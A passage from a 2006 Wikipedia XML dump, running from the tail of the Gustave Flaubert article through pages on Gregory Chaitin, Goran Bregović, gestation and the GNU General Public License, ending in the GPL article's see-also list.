**''The George Sand-Gustave Flaubert Letters'', translated by Aimée G. Leffingwel McKenzie (A.L. McKensie), introduced by Stuart Sherman ([[1921]]), available at the Gutenberg website as [http://www.gutenberg.org/etext/5115 E-text N° 5115]
**''Flaubert-Sand: The Correspondence'' ([[1993]])

===Biographical and other related publications===
*Various authors, ''The Public vs. M. Gustave Flaubert'', available at the Gutenberg website as [http://www.gutenberg.org/etext/10666 E-text N° 10666].
*Hennequin, Émile, ''Quelques écrivains français Flaubert, Zola, Hugo, Goncourt, Huysmans, etc.'', available at the Gutenberg website as [http://www.gutenberg.org/etext/12289 E-text N° 12289]
*[[Julian Barnes|Barnes, Julian]], ''[[Flaubert's Parrot]]'', ISBN 0330289764

==External links==
===Online Texts===
{{wikiquote}}
* [[French language|French]] [http://www.incipitblog.com/index.php/2005/08/08/gustave-flaubert-la-femme-du-monde-1836/ Audiobook (mp3)]: ''La femme du monde'' (''taken from Flaubert's early works'')
*{{gutenberg author|id=Gustave_Flaubert|name=Gustave Flaubert}}

===More links===
*[http://www.kirjasto.sci.fi/flaubert.htm Overview]
*[http://www.univ-rouen.fr/flaubert/ site of the Centre Flaubert at Rouen]
*[http://www.fjvenezia.com/Flaubert.html Multilingual research links]
* [http://www.press.jhu.edu/books/hopkins_guide_to_literary_theory/gustave_flaubert.html Flaubert entry at the Johns Hopkins Guide to Literary Theory and Criticism site]
*[http://www.bibliomania.com/0/5/136/frameset.html Bibliomania page]
*[http://www.kat.gr/kat/history/Mod/Ph/FlaubertGustave.htm Long, general page about Flaubert]
*[http://perso.wanadoo.fr/jb.guinot/pages/accueil.html A comprehensive site in French]

{{1911}}

[[Category:1821 births|Flaubert, Gustave]]
[[Category:1880 deaths|Flaubert, Gustave]]
[[Category:Deaths by apoplexy|Flaubert, Gustave]]
[[Category:French novelists|Flaubert, Gustave]]
[[Category:Normans|Flaubert, Gustave]]
[[Category:French short story writers|Flaubert, Gustave]]

[[cs:Gustave Flaubert]]
[[de:Gustave Flaubert]]
[[es:Gustave Flaubert]]
[[eo:Gustave FLAUBERT]]
[[fa:گوستاو فلوبر]]
[[fr:Gustave Flaubert]]
[[ko:귀스타브 플로베르]]
[[hr:Gustave Flaubert]]
[[it:Gustave Flaubert]]
[[he:גוסטב פלובר]]
[[nl:Gustave Flaubert]]
[[ja:ギュスターヴ・フローベール]]
[[no:Gustave Flaubert]]
[[pl:Gustaw Flaubert]]
[[pt:Gustave Flaubert]]
[[ru:Флобер, Гюстав]]
[[sr:Густав Флобер]]
[[fi:Gustave Flaubert]]
[[sv:Gustave Flaubert]]
[[tr:Gustave Flaubert]]
[[zh:福楼拜]]</text>
    </revision>
  </page>
  <page>
    <title>Gregory Chaitin</title>
    <id>12308</id>
    <revision>
      <id>41054957</id>
      <timestamp>2006-02-24T19:39:03Z</timestamp>
      <contributor>
        <username>Bcrowell</username>
        <id>6286</id>
      </contributor>
      <comment>criticism</comment>
      <text xml:space="preserve">'''Gregory J. Chaitin''' (born [[1947]]) is an [[Argentina|Argentine]]-[[United States|American]] [[mathematician]] and [[computer scientist]].

Beginning in the late [[1960s]], Chaitin made important contributions to [[algorithmic information theory]] and [[Metamathematics]], in particular a new incompleteness theorem similar in spirit to [[Gödel's incompleteness theorem]]. In 1995 he was given the degree of doctor of science ''honoris causa'' by the University of Maine. In 2002 he was given the title of honorary professor by the [[University of Buenos Aires]] in Argentina, where his parents were born and where Chaitin spent part of his youth. He is a research staff member at [[IBM]]'s [[Thomas J. Watson Research Center]] and also a visiting professor at the Computer Science Department of the University of Auckland, and on the international committee of the [[Valparaíso Complex Systems Institute]]. 

Chaitin has defined [[Chaitin's constant]] '''&lt;math&gt;\ \Omega&lt;/math&gt;''', a [[real number]] whose digits are [[normal number|equidistributed]] and which expresses the probability that a random program will halt. '''&lt;math&gt;\ \Omega&lt;/math&gt;''' has numerous remarkable mathematical properties, including the fact that it is [[Definable number|definable]] but not [[computability theory (computation)|computable]].

Chaitin's work on algorithmic information theory paralleled the earlier work of [[Kolmogorov]] in many respects.

Chaitin also writes about [[philosophy]], specially [[metaphysics]] and [[philosophy of mathematics]] (particularly about epistemological matters in mathematics). In metaphysics, Chaitin claims that [[algorithmic information theory]] is the key to solve problems in the field of [[biology]] (obtaining a formal definition of ‘life’, its origin and [[evolution]]) and  [[neuroscience]] (the problem of consciousness and the study of the mind). Indeed, in recent writings, he defends a position known as [[digital philosophy]]. In the epistemology of mathematics, he claims that his findings in [[mathematical logic]] and algorithmic information theory shows there are ''“mathematical facts that are true for no reason, they're true by accident. They are random mathematical facts”''. Chaitin proposes that mathematicians must abandon any hope to prove those mathematical facts and adopt a [[quasi-empirical]] methodology. Although Chaitin's mathematical work is generally agreed to be correct, many mathematicians disagree strongly with his philosophical interpretation of it.

The implication between Chaitin’s mathematical work and his philosophical writings that himself elaborated has been challenged. The philosopher [[Panu Raatikainen]] argues that Chaitin misinterprets the implications of his own work and his conclusions about philosophical matters are not solid. The philosopher [[Torkel Franzén]] criticizes Chaitin’s interpretation of [[Gödel's Incompleteness Theorem]] and the alleged explanation for it that Chaitin’s work represent.  

== Books ==

*''Algorithmic Information Theory'', ([http://www.cup.org Cambridge University Press], [[1987]]),
*''Information, Randomness &amp; Incompleteness'', ([http://www.worldscientific.com World Scientific], 1987),
*''Information-Theoretic Incompleteness'', ([http://www.worldscientific.com World Scientific], [[1992]]),
*''The Limits of Mathematics'', ([http://www.springeronline.com Springer-Verlag] [[1998]]),
*''The Unknowable'', ([http://www.springeronline.com Springer-Verlag] [[1999]]),
*''Exploring Randomness'', ([http://www.springeronline.com Springer-Verlag] [[2001]]),
*''Conversations with a Mathematician'', ([http://www.springeronline.com Springer-Verlag] [[2002]]),
*''From Philosophy to Program Size'', ([http://ioc.ee Tallinn Cybernetics Institute] [[2003]]),
*''Meta Math!'', ([http://www.randomhouse.com/pantheon Pantheon] [[2005]]).

==External links==
*[http://cs.umaine.edu/~chaitin/ G J Chaitin Home Page]
*[http://cs.umaine.edu/~chaitin/complete.html List of publications of G J Chaitin]
*[http://www.dc.uba.ar/people/profesores/becher/ns.html New Scientist article (March, 2001) on Chaitin, Omegas and Super-Omegas] 
*[http://www.flownet.com/gat/chaitin.html A short version of Chaitin's proof]
*Two papers ([http://www.helsinki.fi/collegium/eng/Raatikainen/rev-panu.pdf 1], [http://www.helsinki.fi/collegium/eng/Raatikainen/AITsynthese.pdf 2]) criticizing Chaintin's interpretation of his results

[[Category:1947 births|Chaitin, Gregory]]
[[Category:Living people|Chaitin, Gregory]]
[[Category:American mathematicians|Chaitin, Gregory]]
[[Category:Argentine mathematicians|Chaitin, Gregory]]
[[Category:20th century mathematicians|Chaitin, Gregory]]
[[Category:21st century mathematicians|Chaitin, Gregory]]
[[Category:IBM employees|Chaitin, Gregory]]
[[de:Gregory Chaitin]]
[[fr:Gregory Chaitin]]
[[ja:グレゴリー・チェイティン]]</text>
    </revision>
  </page>
  <page>
    <title>Goran Bregović</title>
    <id>12309</id>
    <revision>
      <id>40917189</id>
      <timestamp>2006-02-23T21:47:53Z</timestamp>
      <contributor>
        <username>Asav</username>
        <id>162316</id>
      </contributor>
      <minor />
      <comment>/* (Incomplete) list of films he did music for */  Addition to Music for Funerals...</comment>
      <text xml:space="preserve">'''Goran Bregović''' (born [[March 22]], [[1950]]) is one of the most recognizable modern [[composer]]s of the [[Balkans]].

==Early life==

Goran Bregović was born in [[Sarajevo]], [[Bosnia-Herzegovina]] in [[Socialist Federal Republic of Yugoslavia|former Yugoslavia]] to a [[Bosnian Croat]] father and a [[Bosnian Serb]] mother. His father was an officer in the [[Yugoslav People's Army]]. His parents divorced and he remained living with his mother in the predominantly [[Bosniaks|Bosniak]] part of [[Sarajevo]].

Goran played [[violin]] in a [[music school]], but was thrown out of it in second grade for being untalented. His musical education was thus reduced to what his friend taught him until Goran's mother bought him his first guitar in his early teens. Bregović was to enter a [[fine art|fine arts]] school but his aunt told his mother that it was full of homosexuals. His mother sent him to a technical (traffic) school and allowed him to grow long hair as a compromise. Upon entering the school, Goran joined the school band &quot;Izohipse&quot; and played bass guitar. But he was kicked out of that school, too (this time for misbehaviour - he crashed a school-owned [[Mercedes-Benz|Mercedes]]). Bregović then entered grammar school and its school band &quot;Beštije&quot; (again as a bass guitar player). When he was sixteen, his mother left him and went to the seaside. Goran had to take care of himself. He did that by playing [[folk music]] in a bar in [[Konjic]], working on construction sites, and selling newspapers.

On a &quot;Beštije&quot; gig [[Željko Bebek]] spotted him and invited him to play bass guitar in his band &quot;Kodeksi&quot;. Goran accepted. In the summer of [[1969]] they played for tourists in hotel Splendid in [[Dubrovnik]]. After finishing their job there, they were invited to [[Naples]] to play in a night club. They accepted, but lost their employment there by playing more progressive music and refusing to play the same repertoire as in Dubrovnik, which was what the owner wanted of them. Still, they remained in Naples and continued to play the music they fancied. In next few months &quot;Kodeksi&quot; shifted setup so Goran moved from [[bass guitar]] to [[lead guitar]], and in the summer of [[1970]] &quot;Kodeksi&quot; had the following line-up: Goran Bregović, Željko Bebek, Zoran Redžić and [[Milić Vukašinović]]. All of them would eventually become members of [[Bijelo Dugme]] at some point in the future. At the time, they were largely influenced by [[Led Zeppelin]] and [[Black Sabbath]], which was the merit of Milić Vukašinović who &quot;infected&quot; them with that kind of music. In the fall of [[1970]] this resulted in departure of Željko Bebek who (both as [[rhythm guitar]] player and [[singer]]) wasn't needed anymore in the band. At the end of the year, Goran's mother and Zoran's brother arrived to Naples and took the band back to [[Sarajevo]].

Then in the autumn of [[1971]] Goran entered [[university]] and decided to study [[philosophy]] and [[sociology]]. He soon quit, however. In the same time Milić Vukašinović left for [[London]], so Goran and Zoran started playing in a band, named [[Jutro]] (trans. &quot;Morning&quot;). The band in the next few years transformed a lot and on [[January 1]], [[1974]] the band changed its name to [[Bijelo Dugme]] (&quot;White Button&quot;).

==Bijelo Dugme==

{{main|Bijelo Dugme}}

The cult rock group [[Bijelo Dugme]] became one of the most popular groups of [[Socialist Federal Republic of Yugoslavia|former Yugoslavia]] between the late [[1970s]] and mid [[1980s]].

==After Bijelo Dugme==
[[Image:Bregovic Redzic Bebek 2005.jpg|330px|thumb|Goran Bregović, [[Zoran Redžić]] and [[Željko Bebek]] on [[2005]] [[Bijelo Dugme]] concert in [[Sarajevo]]]]
At the time Bijelo Dugme was falling apart, Goran entered the world of [[Film score|film music]]. His first project was [[Emir Kusturica]]'s ''[[Time of the Gypsies]]'' ([[1989]]) which turned out a great success (both the film and the music from it). Goran and Emir's collaboration continued, and Goran composed music (which was performed by [[Iggy Pop]]) for Emir's next film ''[[Arizona Dream]]'' ([[1993]]). His next major project, music for [[Patrice Cheraeau]]'s ''[[La Reine Margot (1994 film)|Queen Margot]]'' was again a great success, and the film won 2 awards on the 1994 [[Cannes Film Festival]]. Next year's [[Palme d'Or|Golden Palm]] went to ''[[Underground (film)|Underground]]'', for which Goran Bregović composed the music. 

Bregović's music carries both [[Slavic peoples|South Slavic]] and [[Roma people|Gypsy]] themes and is a fusion of [[popular music]] with traditional [[Polyphony|polyphonic]] music from the Balkans, [[tango music|tango]] and [[brass band]]s. Although he is a very popular musician in [[Eastern Europe]], Bregović has been accused on several occasions of 'stealing' original Gypsy and [[folk music]] of the Balkans and ultimately rewriting and branding it as his own creation.  In the year 2000 Bregović recorded an album ''Kayah i Bregović'' (Kayah and Bregović) with popular [[Poland|polish]] singer [[Kayah]] which sold over 650 000 copies in Poland (6 times platinium record).

In [[2005]] he took part in 3 large farewell concerts of Bijelo Dugme.

Goran Bregović currently lives in [[Paris]] with his spouse Dženana Sudžuka and their three daughters: Ema, Una and Lulu. He also has a daughter Željka (from his university days relationship with a dancer in a Sarajevo night club) who gave birth to Goran's grand daughter Bianca. He has a brother named Predrag who lives in [[New York]].

===(Incomplete) list of films he did music for===

* [[1977]] - ''Butterfly cloud'' (Leptirov oblak) - Directed by: Zdravko Randić
* [[1979]] - ''Personal Affairs'' (Lične stvari) - Directed by: Aleksandar Mandić
* [[1988]] - ''Time of the Gypsies'' (Dom za vešanje) - Directed by: [[Emir Kusturica]]
* [[1989]] - ''Kuduz'' - Directed by: [[Ademir Kenović]]
* [[1990]] - ''Silent Gunpowder'' (Gluvi barut) - Directed by: Bahrudin Čengić
* [[1991]] - ''The Serbian Girl'' (Das Serbische Mädchen) - Directed by: Peter Sehr
* [[1991]] - ''The Little One'' (Mala) - Directed by: Predrag Antonijević
* [[1991]] - ''Charuga'' (Čaruga) - Directed by: [[Rajko Grlić]]
* [[1993]] - ''[[Arizona Dream]]'' - Directed by: [[Emir Kusturica]]
* [[1993]] - ''Toxic Affair'' - Directed by: Philoméne Esposito
* [[1993]] - ''La Nuit sacrée'' - Directed by: Nicolas Klotz
* [[1993]] - ''La Nombril du monde'' - Directed by: Ariel Zeitoun
* [[1994]] - ''[[La Reine Margot (1994 film)|Queen Margot]]'' - Directed by: [[Patrice Chéreau]]
* [[1995]] - ''[[Underground (film)|Underground]]'' - Directed by: [[Emir Kusturica]]
* [[1997]] - ''A Chief in Love'' (Shekvarebuli kulinaris ataserti retsepti) - Directed by: Nana Dschordschadse
* [[1997]] - ''The Serpent's Kiss'' - Directed by: [[Philippe Rousselot]]
* [[1997]] - ''XXL'' - Directed by: Ariel Zeitoun
* [[1998]] - ''Train de Vie'' - Directed by: Radu Mihaileanu
* [[1999]] - ''The Lost Son'' - Directed by: Chris Menges
* [[1999]] - ''Tuvalu'' - Directed by: Veit Helmer
* [[2000]] - ''27 Missing Kisses'' - Directed by: Nana Dschordschadse
* [[2000]] - ''Je li jasno prijatelju?'' - Directed by: Dejan Ačimović
* [[2002]] - ''Music for Weddings and Funerals'' (Bregovic also has a part in this film)- Directed by: Unni Straume

===List of his film music albums===

* ''Arizona Dream''
* ''Underground - Soundtrack''
* ''La reine Margot - soundtrack''
* ''Time of the Gypsies / Kuduz - soundtrack''
* ''P.S.''
* ''Tales and songs from weddings and funerals''

===Studio albums ===
* [[2000]] - ''Kayah i Bregović''

==External links==
* [http://www.goranbregovic.co.yu/ Official web site]
* [http://us.imdb.com/name/nm0005975/ Complete list of Goran's works on IMDb]
* [http://www.goranbregovic.com/ International Goran Bregovic Fan Club]

[[Category:1950 births|Bregovic, Goran]]
[[Category:Film score composers|Bregovic, Goran]]
[[Category:Living people|Bregovic, Goran]]
[[Category:Musicians from Bosnia and Herzegovina|Bregovic, Goran]]
[[Category:Musicians of former Yugoslavia|Bregovic, Goran]]

[[bg:Горан Брегович]]
[[de:Goran Bregović]]
[[es:Goran Bregović]]
[[fr:Goran Bregovic]]
[[it:Goran Bregović]]
[[nl:Goran Bregović]]
[[pl:Goran Bregović]]
[[sk:Goran Bregović]]
[[sr:Горан Бреговић]]
[[fi:Goran Bregović]]
[[sv:Goran Bregović]]
[[tr:Goran Bregoviç]]</text>
    </revision>
  </page>
  <page>
    <title>Gestation</title>
    <id>12312</id>
    <revision>
      <id>41861807</id>
      <timestamp>2006-03-02T05:17:50Z</timestamp>
      <contributor>
        <username>Kuru</username>
        <id>764407</id>
      </contributor>
      <comment>revert: vandalism</comment>
      <text xml:space="preserve">'''Gestation''' is the carrying of an [[embryo]] or [[fetus]] inside a [[female]] [[viviparous]] [[animal]].  In mammals that undergo a [[mammalian pregnancy|pregnancy]], they can have one or more gestations at the same time, resulting in [[multiple birth|multiple gestations]]. In the case of multiple gestations, the organisms gestated by the mother are called ''[[twin]]s''.

For example, female [[dog]]s usually have multiple [[ovulation]]s in a single [[estrus cycle]], and, when the [[ovum|ova]] get fertilized, the animal gestates multiple offspring in one single pregnancy.

The time interval of a gestation is called ''gestation period'', and the length of time the offspring have spent developing in the uterus is called ''[[gestational age]]''. 

In humans, [[parturition]] normally occurs at a gestational age of 37 to 42 weeks. Childbirth occurring before 37 weeks of gestation is considered preterm and has been associated with 70% of neonatal mortality and 75% of morbidity. A preterm fetus is considered viable only if it is delivered after the 28th week of gestation; before this age, those major developmental events that would allow the fetus to survive outside the womb have not occurred.

{{developmental-biology-stub}}
{{developmental-psychology-stub}}


[[Category:Biological reproduction]]
[[Category:Mammals]]

[[fr:Gestation]]</text>
    </revision>
  </page>
  <page>
    <title>GNU General Public Licence</title>
    <id>12313</id>
    <revision>
      <id>15910010</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>redirect to American spelling</comment>
      <text xml:space="preserve">#REDIRECT [[GNU_General_Public_License]]</text>
    </revision>
  </page>
  <page>
    <title>GNU General Public License</title>
    <id>12314</id>
    <revision>
      <id>42147902</id>
      <timestamp>2006-03-04T03:22:21Z</timestamp>
      <contributor>
        <ip>70.218.243.12</ip>
      </contributor>
      <comment>/* Freedom */ replace scare quote with italics</comment>
      <text xml:space="preserve">{{redirect|GPL}}

[[Image:Heckert GNU white.svg|thumb|200px|right|The GNU logo]]

The '''GNU General Public License''' ('''GNU GPL''' or simply '''GPL''') is the most popular [[free software license]], originally written by [[Richard Stallman]] for the [[GNU|GNU project]].  The latest version of the license, version 2, was released in 1991. The [[GNU Lesser General Public License]] (LGPL) is a modified version of the GPL, intended for some [[library (computing)|software libraries]].

== Freedom ==
The GPL grants the recipients of a [[computer program]] the following rights, or ''freedoms'':
* the freedom to run the program, for any purpose.
* the freedom to study how the program works, and modify it. (Access to the source code is a precondition for this)
* the freedom to redistribute copies.
* the freedom to improve the program, and release the improvements to the public. (Access to the source code is a precondition for this)

In contrast, the [[EULA|end-user licenses]] that come with [[proprietary software]] rarely grant the [[end-user]] any rights (other than the right to use the software, although it is debatable whether one requires a license for use ''per se''), and may even attempt to restrict activities normally permitted by law, such as [[reverse engineering]].

The primary difference between the GPL and more &quot;permissive&quot; free software licenses such as the [[BSD License]] is that the GPL seeks to ensure that the above freedoms are preserved in copies and in [[derivative work]]s. It does this using a legal mechanism known as [[copyleft]], invented by Stallman, which requires derivative works of GPL-licensed programs to also be licensed under the GPL.  [[BSD and GPL licensing|In contrast]], BSD-style licenses allow for derivative works to be redistributed as proprietary software.

By some measures, the GPL is the single most popular license for [[Free Software|free]] and [[Open Source|open source]] software. [[As of 2004|As of April 2004]], the GPL accounted for nearly 75% of the 23,479 free-software projects listed on [[Freshmeat]], and about 68% of the projects listed on [[SourceForge]]. (These sites are owned by [[OSTG]], a company that advocates [[Linux]] and the GPL.) Similarly, a [[2001]] survey of [[Red Hat Linux]] 7.1 found that 50% of the source code was licensed under the GPL, and 1997 survey of [[Metalab]], then the largest free-software archive, showed that the GPL accounted for about half of the licenses used. Prominent free software programs licensed under the GPL include the [[Linux kernel]] and the [[GNU Compiler Collection]] (GCC).  Some other prominent free software programs are licensed under multiple licenses, one of which is the GPL; [[Perl]] is a well-known example (see [[:Category:Free software]]).

==History==
The GPL was written by [[Richard Stallman]] for use with programs released as part of the [[GNU|GNU project]]. It was based on a unification of similar licenses used for early versions of [[Emacs|GNU Emacs]], the [[GNU Debugger]] and the [[GNU Compiler Collection]]. These licenses contained similar provisions to the modern GPL, but were specific to each program. Stallman's goal was to produce one license that could be used for any project, thus making it possible for many projects to share code. This became the GPL version 1, released in January [[1989]].

By [[1990]], it was becoming apparent that a less restrictive license would be strategically useful for some [[library (computing)|software libraries]]; when version 2 of the GPL was released in June [[1991]], therefore, a second license - the Library General Public License, or LGPL - was introduced alongside it, and was also numbered version 2 to show that the two were complementary.  The version numbers diverged in [[1999]] when version 2.1 of the LGPL was released, which renamed it the [[Lesser General Public License]] to reflect its place in the GNU philosophy.

In May of 2005, [[Daniel Wallace (plaintiff)|Daniel Wallace]] filed suit against the [[Free Software Foundation]] (FSF) in the [[U.S. District Court for the Southern District of Indiana|Southern District of Indiana]].  The suit contends that the GPL is an attempt to fix prices at zero. The FSF has moved to dismiss Daniel Wallace's complaint.

===GPLv3===
{{wikinews|Free Software Foundation releases first draft of GPLv3}}
[[As of 2005]], version 3 of the GPL is being written by [[Richard Stallman]], with legal counsel from [[Eben Moglen]] and [[Software Freedom Law Center]] [http://www.ifso.ie/documents/rms-gplv3-2006-02-25.html].  

At a presentation by Richard Stallman at [[FOSDEM]] on the 25th of February 2006 in Brussels, Belgium, he said: [http://www.ifso.ie/documents/rms-gplv3-2006-02-25.html]

:Among the changes, the most important four, I will say, concern dealing with software patents, compatibility with other licences, the definition of which parts of the source code and what constitutes the source code that must be included in it, and dealing with [[Digital Rights Management|Digital Restrictions Management]].

In 2006, the [[Free Software Foundation]] began a 12-month public consultation about the possible changes to the GPL.  This process is being coordinated by the Free Software Foundation, [[Software Freedom Law Center]], and [[Free Software Foundation Europe]].

A [http://gplv3.fsf.org/draft draft of the GPLv3] was made available on [[January 16]] [[2006]]. Unofficial [[diff|diffs]] between version 2 and the v3 draft are also available [http://kohl.wikimedia.org/~avar/gpl3/] [http://www.groklaw.net/article.php?story=20060118155841115].

Richard Stallman expects GPLv3 to be be finalised either in October 2006 or early 2007, after another draft in July 2006.

== License terms ==
The following is a colloquial summary of the terms of the GPL. The only legally precise description, however, is that of the actual text of the GPL, which is available through an external link at the end of this article.

=== Granting of rights ===
The terms and conditions of the GPL are available to anybody receiving a copy of the GPLed work (&quot;the licensee&quot;). Any licensee who adheres to the terms and conditions is given permission to modify the work, as well as to copy and redistribute the work or any derivative version. The licensee is allowed to charge a fee for this service, or do this free of charge. This latter point distinguishes the GPL from software licenses that prohibit commercial redistribution. Stallman has argued that free software should not place restrictions on commercial use, and the GPL explicitly states that GPLed works may be (re)sold.

The GPL additionally states that a distributor may not impose &quot;further restrictions on the rights granted by the GPL&quot;. This forbids e.g. the distribution of the software under a non-disclosure agreement or contract.  Distributors under the GPL also grant a license for any of their patents practiced by the software, to practice those patents in GPL software.

=== The copyleft ===
The GPL does not give the licensee unlimited redistribution rights. The right to redistribute is granted only if the licensee includes the [[source code]] (or a legally-binding offer to provide the source code), including any modifications made. Furthermore, the distributed copies, including the modifications, must also be licensed under the terms of the GPL.

This requirement is known as [[copyleft]], and it gets its legal teeth from the fact that the program is [[copyright]]ed. Because it is copyrighted, a licensee has no right to modify or redistribute it (barring [[fair use]]), except under the terms of the copyleft.  One is only required to adhere to the terms of the GPL if one wishes to exercise rights normally restricted by copyright law, such as redistribution.  Conversely, if one distributes copies of the work without abiding by the terms of the GPL (for instance, by keeping the source code secret), they can be [[lawsuit|sued]] by the original author under copyright law.

The copyleft thus uses copyright law to accomplish the opposite of its usual purpose: instead of imposing restrictions, it grants rights to other people, in a way that ensures the rights cannot subsequently be taken away. This is the reason the GPL has been described as a &quot;copyright [[Hack (technology slang)|hack]]&quot;. It also ensures that unlimited redistribution rights are not granted, should any legal flaw (or &quot;[[computer bug|bug]]&quot;) be found in the copyleft statement.

Many distributors of GPLed programs bundle the source code with the [[executable]]s. An alternative method of satisfying the copyleft is to provide a written offer to provide the source code on a physical medium (such as a CD) upon request. In practice, many GPLed programs are distributed over the [[Internet]], and the source code is made available over [[File Transfer Protocol|FTP]]. For Internet distribution, this complies with the license.

The copyleft only applies when a person seeks to redistribute the program. One is allowed to make private modified versions, without any obligation to divulge the modifications as long as the modified software is not distributed to anyone else. Note that the copyleft only applies to the software and not to its output (unless that output is itself a derivative work of the program); for example, a web portal running a modified GPL [[content management system]] is not required to distribute its changes to the underlying software. (It has been suggested that this be changed for version 3 of the GPL.)

=== The GPL is a license ===
The GPL was designed as a [[license]], rather than a [[contract]]. In some [[Common Law]] jurisdictions, the legal distinction between a license and a contract is an important one: contracts are enforceable by contract law, whereas the GPL, as a license, is enforced under the terms of copyright law. However, this distinction is not useful in the many jurisdictions where there are no differences between contracts and licences, such as [[Civil law (legal system)|Civil Law]] systems.

The way the GPL license works is simple, if you do not abide by the GPL's terms and conditions you do not have permission, under copyright law, to copy or distribute GPL licensed software or derivative works.  It does ''not'' mean that the rules of the GPL do not apply to you and that you may use the software however you like.  The default is the restrictions of copyright law, not the anarchy of the public domain.

== Copyright holders ==
The text of the GPL is itself copyrighted, and the copyright is held by the [[Free Software Foundation]] (FSF). However, the FSF does not hold the copyright for a work released under the GPL, unless an author explicitly assigns copyrights to the FSF (which seldom happens except for programs that are part of the [[GNU]] project). Only the individual copyright holders have the authority to sue when a license violation takes place.

Unlike the works released under the GPL, the GPL itself is ''not'' freely modifiable: copying and distribution is allowed, but changing the text of the GPL itself is generally forbidden. The FSF does permit people to create new licenses based on the GPL, as long as the derived licenses do not use the GPL preamble without permission. This is discouraged, however, since such a license is generally incompatible with the GPL. (See the [http://www.fsf.org/licenses/gpl-faq.html GPL FAQ] for more information.)

Other licenses created by the GNU project include the [[GNU Lesser General Public License]] and the [[GNU Free Documentation License]].

== GPL-related disputes ==
A key dispute related to the GPL is whether or not non-GPL software can [[library linking|dynamically link]] to GPL libraries. The GPL is clear in requiring that all [[derivative work]]s of GPLed code must themselves be GPLed.  However, it is not clear whether an executable that dynamically links to a GPL library should be considered a derivative work.  The free/open-source software community is split on this issue, with the FSF asserting that such an executable is indeed a derivative work, and other experts disagreeing.  This is ultimately a question not of the GPL ''per se'', but of how copyright law defines derivative works.  In ''[[Galoob v. Nintendo]]'' the [[Ninth Circuit Court of Appeals]] defined a derivative work as having &quot;'form' or permanence&quot; and noted that &quot;the infringing work must incorporate a portion of the copyrighted work in some form,&quot; but there have been no clear court decisions to resolve this particular conflict.

Unfortunately, many developers believe this is a technical question.  It is not.  The question is entirely a legal issue -- is the linking work legally a derivative work.

A number of businesses are based on distributing a GPLed library and selling a separate license to companies wishing to link the library with proprietary code, whether dynamically or not. Examples of such companies include [[MySQL]] AB and [[Trolltech]] ([[Qt (toolkit)|Qt toolkit]]). Also, [[ReiserFS]] ([[Namesys]]) and [[Cygwin]] ([[Red Hat]]) are GPLed programs for which other licenses are offered. As there is no record of anyone circumventing the GPL by dynamic linking without backing down when threatened with lawsuits by the FSF or the respective copyright holder, the restriction is apparently ''[[de facto]]'' enforceable even if not currently ''[[de jure]]''.

In [[2002]], MySQL AB sued Progress NuSphere for copyright and trademark infringement in [[U.S. District Court for the District of Massachusetts|United States district court]].  NuSphere had allegedly violated MySQL's copyright by linking code for the Gemini table type into the MySQL server. After a preliminary hearing before Judge [[Patti Saris]] on [[February 27]], [[2002]], the parties entered settlement talks and eventually settled. At the hearing, Judge Saris &quot;saw no reason&quot; that the GPL would not be enforceable.

In August [[2003]], the [[SCO Group]] stated that they believed the GPL to have no legal validity, and that they intended to take up lawsuits over sections of code supposedly copied from SCO Unix into the [[Linux kernel]].  This was a problematic stand for them, as they had distributed Linux and other GPLed code in their &quot;Caldera Linux&quot; distribution, and there is little evidence that they had any legal right to do so except under the terms of the GPL. For more information, see [[SCO-Linux controversies]].

In April [[2004]] the [[Netfilter|Netfilter/iptables]] project was granted a preliminary [[injunction]] against Sitecom Germany by [[Munich]] District Court after Sitecom refused to desist from distributing Netfilter's GPLed software, allegedly in violation of the terms of the GPL. On July [[2004]], the German court confirmed this injunction as a final ruling against SiteCom. The court's justification for its decision exactly mirrored the predictions given earlier by the FSF's [[Eben Moglen]]:

: ''Defendant has infringed on the copyright of plaintiff by offering the software 'netfilter/iptables' for download and by advertising its distribution, without adhering to the license conditions of the GPL.  Said actions would only be permissible if defendant had a license grant... This is independent of the questions whether the licensing conditions of the GPL have been effectively agreed upon between plaintiff and defendant or not. If the GPL were not agreed upon by the parties, defendant would notwithstanding lack the necessary rights to copy, distribute, and make the software 'netfilter/iptables' publicly available.''

This ruling was important because it was the first time in the world that a court had confirmed that the GPL is a legally enforceable license.

== GPL compatibility ==
Many of the most common [[free software]] licenses, such as the original [[MIT License|MIT/X license]], the [[BSD license]], and the [[GNU Lesser General Public License|LGPL]], are &quot;GPL-compatible&quot;. That is, their code can be combined with a GPLed program without conflict (the new combination would have the GPL applied to the whole). However, some open source software licenses are not GPL-compatible. Many have strongly advocated that open source software developers use only GPL-compatible licenses, because doing otherwise makes it difficult to reuse software in larger wholes.

Also see the [[List of software licenses]] for examples of compatible and incompatible licenses.

==Criticism==
In 2001 [[Microsoft]] [[CEO]] [[Steve Ballmer]] referred to Linux as a &quot;cancer&quot; because of the effects of the GPL.  Critics of Microsoft claim that the real reason Microsoft dislikes the GPL is because the GPL resists proprietary vendor's attempts to [[Embrace, extend and extinguish]] (EEE). Note that Microsoft has sold a product ([[Microsoft Windows Services for UNIX]]) with GPL-licensed code.

Critics of the GPL often describe it as being [[Copyleft#Is_copyleft_.22viral.22.3F|&quot;viral&quot;]], based on the GPL terms that all derived works must in turn be licensed under the GPL.  Since the definition of &quot;derived work&quot; is commonly interpreted to include software containing GPLed code or dynamically linking to GPLed libraries (see above), the &quot;virus&quot; complaint comes from the view that the GPL forces its terms onto all other software whose authors choose to add GPLed code to their own.  This is part of a [[BSD and GPL licensing|philosophical difference]] between the GPL and permissive free software licenses such as the BSD-style licenses, which put fewer restrictions on derived works.  While proponents of the GPL believe that free software should ensure that its freedoms are preserved in derivative works, others believe that free software should give its users the maximum freedom to use it as they wish.

However, the GPL does ''not'' force copyright owners to do anything with code they own.  Copyright owners of works licensed with the GPL are free to negotiate alternate terms with authors of derived works.  Dual-licensing is becoming more common, where software licensed under the GPL can be made available under a commercial license for a fee, allowing others to create derived works without licensing them under the GPL.

Some critics dislike the ideological tone of the GPL's preamble, or complain that the license is too long. Others feel that it restricts certain software business models too much in favor of unneeded user freedoms and a better &quot;middle ground&quot; must be found. This can include licenses which disallows reproduction of source or the binaries but allows free modification for personal or corporate use. One such example of a license of that variety is the [http://koala.ilog.fr/jackaroo/OPL_1_0.TXT Open Public License].

== Links and references ==
===See also===
*[[GNU Free Documentation License]]
*[[Dual license|Dual licensing]]
* [[BSD and GPL licensing]]
* [[GNU Lesser General Public License]]
* [[GNAT Modified General Public License]]
